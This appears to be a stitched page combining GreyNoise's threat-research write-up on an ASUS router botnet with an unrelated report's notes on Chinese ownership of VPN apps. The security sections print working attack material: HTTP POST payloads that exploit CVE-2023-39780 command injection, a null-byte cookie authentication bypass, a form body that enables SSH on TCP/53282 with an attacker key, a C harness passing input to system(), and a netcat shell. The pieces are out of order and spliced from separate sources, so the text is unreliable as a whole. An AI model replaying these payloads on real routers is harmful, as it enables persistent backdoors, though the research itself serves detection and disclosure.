stupid_asshole69 [none/use name]

This produces a list of allowed characters to get past this gate:

Dec Hex Char Dec Hex Char Dec Hex Char 0 0x00 9 0x09 10 0x0A 11 0x0B 12 0x0C 13 0x0D 32 0x20 43 0x2B + 45 0x2D - 46 0x2E . 47 0x2F / 48 0x30 0 49 0x31 1 50 0x32 2 51 0x33 3 52 0x34 4 53 0x35 5 54 0x36 6 55 0x37 7 56 0x38 8 57 0x39 9 65 0x41 A 66 0x42 B 67 0x43 C 68 0x44 D 69 0x45 E 70 0x46 F 71 0x47 G 72 0x48 H 73 0x49 I 74 0x4A J 75 0x4B K 76 0x4C L 77 0x4D M 78 0x4E N 79 0x4F O 80 0x50 P 81 0x51 Q 82 0x52 R 83 0x53 S 84 0x54 T 85 0x55 U 86 0x56 V 87 0x57 W 88 0x58 X 89 0x59 Y 90 0x5A Z 95 0x5F _ 97 0x61 a 98 0x62 b 99 0x63 c 100 0x64 d 101 0x65 e 102 0x66 f 103 0x67 g 104 0x68 h 105 0x69 i 106 0x6A j 107 0x6B k 108 0x6C l 109 0x6D m 110 0x6E n 111 0x6F o 112 0x70 p 113 0x71 q 114 0x72 r 115 0x73 s 116 0x74 t 117 0x75 u 118 0x76 v 119 0x77 w 120 0x78 x 121 0x79 y 122 0x7A z 126 0x7E ~ The originally vulnerable CVE-2023-39780 workflow for auth_google_check_token_status appears to be correctly patched in FW_RT_AX55_300438652332. is_valid_oauth_code interestingly validates a buffer size of 2048 bytes while it’s passed to snprintf with a size of 1024, so truncation can occur. However, because the token is formatted inside of single-quotes ’ this only results in a shell error. I don’t believe escaping the single-quotes of this particular function is possible given the allowed characters.

–body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(…)

sh: syntax error: unterminated quoted string

And since we don’t trust vendors to be thorough, we should go check the other 4 functions that are nearly identical to auth_google_check_token_status that the developers may have forgotten to use single-quotes. Alternatively, if you’re not a reverse engineer capable of checking this for yourself, get your ASUS router off the internet.

Summary and IoCs

IPs:

101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 ASUS Filesystem:

/tmp/BWSQL-LOG /tmp/home/root/.ssh/authorized_keys Pubkey:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048

if (f_exists(“/tmp/BWSQL_LOG”) > 0) { var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, "echo “[BWDPI_SQLITE]%d/%d[%s] %s…”, i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER }

Mystery CVE!

I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: https://leeyabug.top/ASUS-SQLI

Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach.

current_page=Advanced_System_Content.asp &next_page=Advanced_System_Content.asp &modified=0 &flag= &action_mode=apply &action_wait=5 &action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B &first_time= &preferred_lang=EN &reboot_schedule_enable=0 &reboot_schedule_enable_x=0 &telnetd_enable=0 &sshd_enable=1 &sshd_port=53282 &sshd_port_x=53282 &sshd_pass=0 &sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623 &shell_timeout_x=20

This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key::

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623 Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor.

Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey? Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted.

In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username.

sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt

And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there.

“pubKeyHuntResults”: [ “ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin” ]

Demoing the Attacks

After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues.

Starting Nmap 7.80 ( https://nmap.org/ ) at 2025-03-21 13:10 EDT Nmap scan report for RT-AX55-4960 (192.168.50.1) Host is up (0.012s latency).

PORT STATE SERVICE 1111/tcp open lmsocialserver

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111 Connection to 192.168.50.1 1111 port [tcp/*] succeeded! �������� badmin@RT-AX55-4960:/tmp/bwdpi# ls ls app_patrol.conf bwdpi.rule.db key.enc tmfbe_workdir bwdpi.app.db dcd.conf libshn_pctrl.so wred.conf bwdpi.appdb.db dcd.pid model.enc wred.pid bwdpi.beh.db dcd.stat ntdasus2014.cert bwdpi.cat.db dev_wan rule.version bwdpi.devdb.db guid shn.pem

taking ARMs against a sea of troubles

While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago.

Unfortunately, the download link is broken and returns a 404 error.

Shortly afterward, the download description and link disappeared entirely.

So, I installed the latest available version and moved on. (Of course, that didn’t solve the issue.)

Patch Diffing

I do have FW_RT_AX55_300438651598.zip and FW_RT_AX55_300438652332.zip(newest) firmwares available. A quick unblob / binwalk makes quick work of extracting the squashfs-root filesystem.

The old vulnerable function looks a bit like this:

nvram_set(“oauth_google_token_status”, &data_174fea[0xf]); void var_410; memset(&var_410, 0, 0x400);

if (!check_if_dir_exist(“/tmp/oauth/”)) mkdir(“/tmp/oauth/”, 0x1ed);

snprintf(&var_410, 0x400, “wget --no-check-certificate --ti…”, 3, 1, nvram_get(), “103584452676-437qj6gd8o9tuncit9h…”, “xivDhVGSSHZ3LJMx228wdcDf”, “refresh_token”, “/tmp/oauth/google_access_token.j…”, “https://www.googleapis.com/oauth…”);

if (f_exists(“/tmp/OAUTH_DEBUG”) > 0) cprintf(“[OAUTH][%s:(%d)]post cmd : %s\n”, “oauth_google_check_token_status”, 0x5b6, &var_410);

system(&var_410); // DANGER

The newest patch available just wraps the above code in an if statement from an external function is_valid_auth_code from /usr/lib/libshared.so

if (is_valid_oauth_code()){ //Same code as before }

Authors Note: While not directly relevant to our current investigation, --no-check-certificate on the wget command means that your Google OAuth token is sent to a remote server without validating the SSL/TLS certificate. This has implications. We grab a cross-compiler toolchain for a compatible GLIBC version from https://toolchains.bootlin.com/ and cross-compile an ARM binary that will load libshared.so, dumping a list of valid characters from the new gatekeeper function, prompting us to allow playing with the input, and passing the input through the same snprintf and system calls as in the original binary.

#Cross compile armv5-eabi–glibc–stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl #ELF check file callshared.elf #Move binary into firmware squashfs root cp callshared.elf ./squashfs-root/bin/callshared.elf #Move QEMU emulator binary into squashfs root cp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static #Change root, load libshared.so, execute our hook sudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD=“/usr/lib/libshared.so” /bin/busybox sh -c “/bin/callshared.elf”

callshared.c

#include <stdio.h> #include <stdint.h> #include <dlfcn.h> #include <string.h>

#define MAX_INPUT 4096

int main() { void *handle; int (*oc)(char *); // Function pointer with return type int char *error; char input[MAX_INPUT]; int result; __uint8_t curChar;

// Open the shared object file
handle = dlopen("libshared.so", RTLD_LAZY);
if (!handle)
{
    fprintf(stderr, "%s\n", dlerror());
    return 1;
}

// Get a pointer to the is_valid_oauth_code function
oc = (int (*)(char *))dlsym(handle, "is_valid_oauth_code");
if ((error = dlerror()) != NULL)
{
    fprintf(stderr, "%s\n", error);
    dlclose(handle);
    return 1;
}

for (uint16_t i = 0; i <= 0xFF; i++)
{
    uint8_t byte_value = (uint8_t)i;
    char char_value = (char)byte_value;
    result = (*oc)(&char_value);
    if (result)
    {
        printf("Value: %3u, Hex: 0x%02X, Char: %c\n", byte_value, byte_value, char_value);
    }
}

// Get user input
while (1)
{
    printf("Enter an oauth code: ");
    if (fgets(input, MAX_INPUT, stdin) == NULL)
    {
        fprintf(stderr, "Error reading input\n");
        dlclose(handle);
        return 1;
    }

    // Remove newline character if present
    input[strcspn(input, "\n")] = 0;

    // Call the is_valid_oauth_code function with user input and store the result
    result = (*oc)(input);

    // Print the returned value
    printf("Return value: %d\n", result);

    if (result)
    {
        char buffer[1024];
        int o = snprintf(&buffer,
                         1024,
                         "wget --no-check-certificate --timeout=%d --tries=%d --method POST --header 'content-type: application/x-www-form-urlencoded' --header 'cache-control: no-cache' --body-data 'refresh_token=%s&client_id=%s&client_secret=%s&grant_type=%s' --output-document=%s %s",
                         3,
                         1,
                         input,
                         "103584452676-437qj6gd8o9tuncit9h8h7cendd2eg58.apps.googleusercontent.com",
                         "xivDhVGSSHZ3LJMx228wdcDf",
                         "refresh_token",
                         "/tmp/oauth/google_access_token.json",
                         //IP for example.com since DNS resolver doesn't exist inside emulated sandbox
                         "http://23.215.0.136/AAAAAAAAAAAAAAAAAAA");

        printf("Overflowed: %d", o);
        printf("\n%s\n", buffer);
        int e = system(buffer);
    }
}

// Close the shared object
dlclose(handle);
return 0;

}

AyySSHush: Tradecraft of an emergent ASUS botnet Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers. VULNERABILITIES CYBERSECURITY ASUS AUTHOR remy PUBLISHED May 28, 2025 Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers.

Irony? Top Score. You love to see it.

Note: This activity was first discovered by GreyNoise on March 18, 2025. Public disclosure was deferred as we coordinated the findings with government and industry partners. In summary, we are observing an ongoing wave of exploitation targeting ASUS routers, combining both old and new attack methods. After an initial wave of generic brute-force attacks targeting login.cgi, we observe subsequent attempts exploiting older authentication bypass vulnerabilities. Using either of the above methods to gain privileged access to ASUS hardware, we observe payloads exploiting a command injection vulnerability to create an empty file at /tmp/BWSQL_LOG. This existence of a file at this path enables BWDPI logging, a TrendMicro feature embedded in ASUS routers.

Finally, we see remote SSH enabled on a high port TCP/53282 through the official ASUS settings with an attacker controlled public key added to the router’s keyring. This grants the attacker exclusive SSH access. Additionally, because the backdoor is part of the official ASUS settings, it will persist across firmware upgrades, even after the original vulnerability used to gain access has been patched.

The attacker controlled pubkey that is added is:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048 You can find an actively growing list of backdoored hosts here: Censys Search. This list provides detailed information on hosts with the backdoor in question.

Now let’s go threat hunting!

👋 botnet operator, we were watching.

SIFT

We run a number of full interaction ASUS router firmwares on our fleet of sensors (like honeypots, but with full PCAP capture and all of the analysis engines our platform has to offer attached). The observed payloads were only seen targeting our ASUS RT-AC3100 or RT-AC3200 with an Out-Of-Box configuration.

IP indicators of compromise associated with this activity:

101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 SIFT is a machine learning model that creates daily reports of anomalous traffic that is unrelated to all previous traffic observed. This generates a visually intuitive dashboard that highlights exclusively new network payloads. Finally, a large language model analyzes the relevant context to describe the nature of each payload.

Due to the targeted nature of this botnet, its overall noise level is very quiet.

Showing 30 entries filtered from 23,314,780,316 total entries

Regardless, SIFT it caught it anyway. Good job SIFT! There were actually several items raised by SIFT, but here’s the main exported SIFT JSON report I used as a jumping-off point:

{ “title”: “Command Injection via ASUS Router HTTP Post Request”, “totalPayloads”: 3, “payloads”: [ “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 146\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3B&wrs_protect_enable=1” ], “webPaths”: [ “/start_apply.htm” ], “threatScore”: 8, “attackType”: [ “Command Injection” ], “metaTags”: [], “greynoiseTags”: [ { “id”: “869feaa1-dc77-4037-aee2-247b7a39cf7d”, “name”: “Web Crawler”, “slug”: “web-scanner”, “classification”: “unknown”, “cves”: [] } ], “analysisText”: “The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation.”, “sensors”: [ { “name”: “1d75c5e0-7124-4704-a291-a513b9faed12”, “ip”: “<redacted>”, “personaName”: “ASUS RT AC3200: Out-Of-Box” }, { “name”: “1d75c5e0-7124-4704-a291-a513b9faed12”, “ip”: “<redacted>”, “personaName”: “ASUS RT AC3200: Out-Of-Box” } ], “sourceIps”: [ { “ip”: “79.141.163.179”, “seenByGreynoise”: false, “classification”: “”, “geo”: { “country”: “”, “asn”: “” }, “tags”: [], “riot”: false } ] }

The extracted LLM description of the anomalous payload:

The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation. And it’s absolutely right.

Pulling the Thread

The SIFT record above alerts us to investigate what else has been happening in the ASUS ecosystem.

POST /start_apply.htm

This route is common for exploitation of ASUS routers as it’s a common entrypoint for multiple authenticated function calls.

User-Agent: asusrouter–

The earliest mention I can find of this is via ATREDIS-2020-0010 where asusrouter-- is the user-agent used by internal ASUS functions.

Cookie: asus_token=

Do you see it? Of course not. The vulnerability works precisely because the exploit is invisible by nature. This is why we have full PCAP captures.

00000000: 6173 7573 5f74 6f6b 656e 3d00 asus_token=. This NULL byte (0x00) prematurely terminates string parsing in some authentication mechanisms, bypassing security checks in some ASUS firmwares.

Bruteforce

Detecting credential brute-force attempts over time is challenging, especially with ephemeral attack infrastructure. However, in this case, we observe payloads arriving in patterns consistent with brute-force authentication attempts.

Bag of Tricks

By combining credential bruteforce and 2x authentication byapss tricks, the rest of the requests are treated as authenticated. Let’s dig into the payloads.

Payload Bodies

Breaking them down a bit for easier understanding:

current_page=AiProtection_HomeProtection.asp &action_wait=15 &action_mode=apply &action_script=restart_wrs%3Brestart_firewall%3B &wrs_protect_enable=1

This payload enables wrs_protect_enable=1 the commonly vulnerable featureset in AiProtection_HomeProtection.asp.

current_page=AiProtection_HomeProtection.asp &action_wait=15& action_mode=apply &action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail &oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27

This payload exploits CVE-2023-39780, an authenticated command injection flaw in ASUS RT-AX55 v3.0.0.4.386.51598, allowing attackers to execute arbitrary system commands.

The command being executed is touch /tmp/BWSQL_LOG, which is… highly unusual. It turns out the existstence of this file turns on “BandWidth SQLite LOGging”.

Said another way, there’s ~40 functions in the ASUS router’s bwsdpi_sqlite binary that resemble the following. Passing potentially user-controlled data to a format string and then directly to a system() call, commonly leveraged for command injection.

GreyNoise has identified an ongoing exploitation campaign in which attackers have gained unauthorized, persistent access to thousands of ASUS routers exposed to the internet. This appears to be part of a stealth operation to assemble a distributed network of backdoor devices — potentially laying the groundwork for a future botnet.

The tactics used in this campaign — stealthy initial access, use of built-in system features for persistence, and careful avoidance of detection — are consistent with those seen in advanced, long-term operations, including activity associated with advanced persistent threat (APT) actors and operational relay box (ORB) networks. While GreyNoise has made no attribution, the level of tradecraft suggests a well-resourced and highly capable adversary.

‍The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices. The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.

‍The activity was uncovered by Sift — GreyNoise’s proprietary AI-powered network payload analysis tool — in combination with fully emulated ASUS router profiles running in the GreyNoise Global Observation Grid. These tools enabled us to detect subtle exploitation attempts buried in global traffic and reconstruct the full attack sequence.

‍Read the full technical analysis.

‍

Timeline of Events

March 17, 2025: GreyNoise’s proprietary AI technology, Sift, observes anomalous traffic.

March 18, 2025: GreyNoise researchers become aware of Sift report and begin investigating.

March 23, 2025: Disclosure deferred as we coordinated the findings with government and industry partners.

May 22, 2025: Sekoia announces compromise of ASUS routers as part of ‘ViciousTrap.’

May 28, 2025: GreyNoise publishes this blog.

‍

Summary of Findings

Thousands of ASUS routers are confirmed compromised, with the number steadily increasing. Attackers gain access using brute-force login attempts and authentication bypasses, including techniques not assigned CVEs. Attackers exploit CVE-2023-39780, a command injection flaw, to execute system commands. They use legitimate ASUS features to: Enable SSH access on a custom port (TCP/53282). Insert attacker-controlled public key for remote access. The backdoor is stored in non-volatile memory (NVRAM) and is therefore not removed during firmware upgrades or reboots. No malware is installed, and router logging is disabled to evade detection. The techniques used reflect long-term access planning and a high level of system knowledge. ‍

How GreyNoise Found It

The campaign was surfaced by Sift, GreyNoise’s AI-powered analysis tool for detecting novel and anomalous network activity. Sift flagged just three HTTP POST requests — targeting ASUS router endpoints — for deeper inspection.

These payloads were only observed on our fully emulated ASUS profiles running factory firmware. This infrastructure allowed GreyNoise to:

Capture full PCAP of the requests and router behavior. Reproduce the attack in a controlled environment. Confirm how the backdoor is installed and how it persists.
Without emulated profiles and deep inspection, this attack would likely have remained invisible. The attacker disables logging and uses official router features, leaving few traces.

‍

Confirmed Exploitation Chain

1. Initial Access

Brute-force login attempts. Two authentication bypass techniques (no CVEs assigned). ‍

2. Command Execution

Exploitation of CVE-2023-39780 to run arbitrary commands. ‍

3. Persistence

SSH access is enabled via official ASUS settings. Attacker inserts a custom public SSH key. Configuration is stored in NVRAM, not on disk. ‍

4. Stealth

Logging is disabled before persistence is established. No malware is left behind. ‍

Scope and Visibility

As of May 27, nearly 9,000 ASUS routers are confirmed compromised, based on scans from Censys — a platform that continuously maps and monitors internet-facing assets across the global internet. Censys reveals what’s exposed; GreyNoise shows which of those assets are being actively targeted. The number of affected hosts is growing. GreyNoise sensors saw just 30 related requests across three months, demonstrating how quietly this campaign is operating. ‍

Indicators of Compromise

‍

IP addresses involved in this activity:

101.99.91.151 101.99.94.173 79.141.163.179
111.90.146.237 COPY ‍

BLOCK MALICIOUS IPS ‍

Backdoor port:

TCP/53282 COPY ‍

Attacker SSH public key (truncated):

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZ… COPY ‍

Has ASUS Released a Patch?

ASUS patched CVE-2023-39780 in a recent firmware update. The initial login bypass techniques are patched but do not have assigned CVEs. The attacker’s SSH configuration changes are not removed by firmware upgrades. If a router was compromised before updating, the backdoor will still be present unless SSH access is explicitly reviewed and removed.

‍

Recommendations

Check ASUS routers for SSH access on TCP/53282. Review the authorized_keys file for unauthorized entries. Block the four IPs listed above. If compromise is suspected, perform a full factory reset and reconfigure manually. ‍

Block IPs & Read the Full Analysis

For payload details, firmware analysis, and attack reconstruction:

Read the full technical analysis.

‍

BLOCK MALICIOUS IPS ‍

‍

‍GreyNoise is developing an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more or get on the waitlist.

This article is a summary of the full, in-depth version on the GreyNoise Labs blog. Read the full report

Research notes Additional research on Chen Ningyi, the Qihoo 360 subsidiary, and the app developer company Guangzhou Quanyong:

According to a Chinese corporate data aggregator, in December 2019—the same month Qihoo 360 purchased the app-related companies Lemon Seed, Lemon Clove, and Autumn Breeze—Qihoo 360 set up a subsidiary in China called Guangzhou Qihoo Technology Co., Ltd. In April 2020, this Qihoo 360 subsidiary changed it address to the same one listed for the app developer company Guangzhou Quanyong (aka SpringTech). The subsidiary then changed its name in January 2021 to Guangzhou Lianchuang Technology Co., Ltd. Qihoo 360 sold the subsidiary in March 2023 to a small tech firm called Beijing Liefeng Technology Co., Ltd. At that time, Chen Ningyi was added to the subsidiary’s board of directors and made its legal representative. He stayed in those positions for a year before being replaced by the owner of Beijing Liefeng. As noted previously, a person named Chen Ningyi worked for Qihoo 360. The above sequence of events, with Chen Ningyi holding a key position at Beijing Liefeng for a year, raises questions about whether Qihoo 360 exercises some control or influence over the smaller tech firm. Qihoo 360 and Beijing Liefeng did not respond to questions about the relationship between the two companies. The subsidiary, Guangzhou Lianchuang, still appears to be active. On one Chinese job website, it describes itself as a company “focusing on the research and development and promotion of mobile Internet apps in overseas markets,” with offices in Singapore, Guangzhou, and Beijing.
Additional research connecting Guangzhou Quanyong Information Technology Co., Ltd. with the Innovative Connecting family of apps:

Chinese copyright data maintained by a Chinese corporate data aggregator indicates that Guangzhou Quanyong developed Snap VPN, which has been identified as part of the Innovative Connecting family of apps. The company also developed an app called Muslim Prayer, which is not available in the U.S. Apple App Store but is advertised on the website for ALL Connected, one of the Innovative Connecting entities. Data catalogued by a Chinese corporate record aggregator shows that Guangzhou Quanyong listed the email address [email protected] in its 2015 annual report, using the same domain as ALL Connected’s website. The following year, Guangzhou Quanyong listed the email [email protected], using a domain that is registered to Innovative Connecting in Singapore. Additional research showing that “SpringTech” is the English name for Guangzhou Quanyong Information Technology Co., Ltd.:

The PitchBook profile showing Qihoo acquired “SpringTech” gave an office address for SpringTech that matched the address for Guangzhou Quanyong in Chinese corporate records. (The profile also listed SpringTech’s website as acnet.co, a domain registered to Innovative Connecting in Singapore.) A profile of Guangzhou Quanyong on Job5156.com, a Chinese job recruitment website, gave “SpringTech” as its English name. A page for “Spring Tech” on the app analytics site Sensor Tower gave the company’s Chinese name as Guangzhou Quanyong. Innovative Connecting is listed as the owner of springtech.info on a list of web publishers maintained by the digital ad platform Liftoff. Following are the remainder of the 20 apps not named in the body of the report. The lifetime U.S. downloads are from AppMagic:

#5, Ostrich VPN

Listed developer: GeWare Technology Limited Lifetime U.S. downloads according to AppMagic: >5,000,000 According to Hong Kong records, GeWare Technology Limited is a dissolved company whose sole shareholder was a Chinese citizen with a mainland China address. The Ostrich VPN website now gives the company name as Geware Mobile Limited. That is a Hong Kong company owned by a Chinese citizen who lists a Hong Kong address, according to corporate records. (The address, written in Chinese, matches that of a Hong Kong office building, which does not appear to have any residential component, according to its website.) #38, HulaVPN

Listed developer: Hula Link Technology Co., Ltd. Lifetime U.S. downloads according to AppMagic: >1,000,000 The app is available both on the Apple App Store and Google Play store, but no information about the company is given on either page. TTP identified nothing with the name “Hula Link Technology” in searches of various global corporate records databases. However, the HTML code on the app’s Google Play page gives the developer’s name, in Chinese, as Guangzhou Hula Network Technology Co. Ltd. and gives an address for the company in Guangzhou, China. #43, VPN Ⓟ (removed from App Store)

This app was taken down at some point in 2024 before the URL was archived. Information on the app is still available on AppMagic. Lifetime U.S. downloads according to AppMagic: >200,000 TTP was unable to find information on Top Free App, the developer of VPN Ⓟ, in any corporate records database. The app used a logo that matches that of the VPN Bucks app described earlier in this report. AppMagic’s description of VPN Ⓟ, pulled from the app’s now-defunct App Store page, indicates it was formerly called VPN Bucks Lite and had a privacy policy and terms of service for “VPN Bucks.” As noted previously, VPN Bucks traces back to a now-dissolved Hong Kong-registered company that was owned by a Chinese citizen with an address in southern China. #48, Best V2ray (removed from App Store)

Listed developer: Swan Technology Co., Ltd Lifetime U.S. downloads according to AppMagic: >500,000 The privacy policy of this VPN lists its contact information as Swan Technology Ltd. in Shenzhen Futian, with an email address ending in qq.com. The qq.com email address is Chinese and “Shenzhen Futian” is an apparent reference to Futian, a district of Shenzhen, Guangdong province. TTP was unable to find an exact match for this company registered in Shenzhen. Its English name is likely unofficial. #51, Alphaoo Net (removed from the App Store)

Listed developer: QUICK STONE NETWORK TECHNOLOGY LIMITED Lifetime U.S. downloads according to AppMagic: >200,000 Quick Stone is a company registered in Hong Kong. Hong Kong corporate records indicate its sole shareholder is a Chinese citizen with a Hong Kong address. #78, SwiftLink VPN (removed from App Store)

Listed developer: JOYFUL DOG (HK) CO., LIMITED Lifetime U.S. downloads according to AppMagic: >200,000 This app was taken down at some point in early January 2025, before the URL was archived. Information on the app is still available on AppMagic. Hong Kong corporate records show the sole officer/shareholder of Joyful Dog is a Chinese citizen with an address in mainland China. #84, Speedy Quark VPN

Listed developer: Hefei Single Machine Placement Technology Co., Ltd. Lifetime U.S. downloads according to AppMagic: >2,000,000 Hefei Single Machine is a subsidiary of Anhui Letang Holding Group Co., Ltd., a privately held company based in Anhui province, China, according to Chinese corporate record data aggregator Qichacha. The app’s terms of service linked from the App Store page give the jurisdiction as the People’s Republic of China. #86, Now VPN

